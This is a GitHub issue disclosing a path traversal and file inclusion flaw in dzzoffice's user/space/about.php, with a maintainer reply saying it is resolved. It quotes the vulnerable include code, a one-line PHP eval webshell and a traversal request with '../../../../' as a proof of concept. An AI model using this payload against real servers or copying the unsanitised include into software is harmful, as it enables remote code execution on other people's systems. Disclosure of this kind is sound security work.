Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A Path Traversal vulnerability #252

Open
xjzzzxx opened this issue Jul 14, 2024 · 1 comment
Open

A Path Traversal vulnerability #252

xjzzzxx opened this issue Jul 14, 2024 · 1 comment

Comments

@xjzzzxx
Copy link

xjzzzxx commented Jul 14, 2024

Hello,

I would like to report for a Path Traversal vulnerability in dzzoffice-2.02.1(No permissions required)

In file https://github.com/zyx0814/dzzoffice/blob/master/user/space/about.php

...
$identify=$_GET['modname'];		// Line 13(Source)
$appConfig=DZZ_ROOT.'./dzz/'.$identify.'/config/config.php';				// Line 15(Tainted)
if($identify && file_exists($appConfig)){
	$config=include($appConfig);	// Line 17(Sink)
...

Source from $_GET['modname'] without filtering. And then concated into DZZ_ROOT.'./dzz/'.$identify.'/config/config.php' which allows hackers to have some control over the addresses of the included files, as it is necessary to ensure that the file path ends with /config/config. php.

If combined with vulnerabilities in other sites of the server or other unknown vulnerabilities in this CMS, it is likely to cause the effect of RCE.

Poc

We have set up a webshell in the root directory of the disk where the server is located to demonstrate the combined effects that this vulnerability may cause.

Webshell path: D:\config\config.php, Content:<?php @eval($_POST['pass']) ?>

CMS path: D:\phpstudy_pro\WWW\cms.dzzoffice.com

POST http://cms.dzzoffice.com/user.php?op=about&modname=../../../../

Manual verification

1

2

@xiaohu2002
Copy link
Contributor

已解决

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants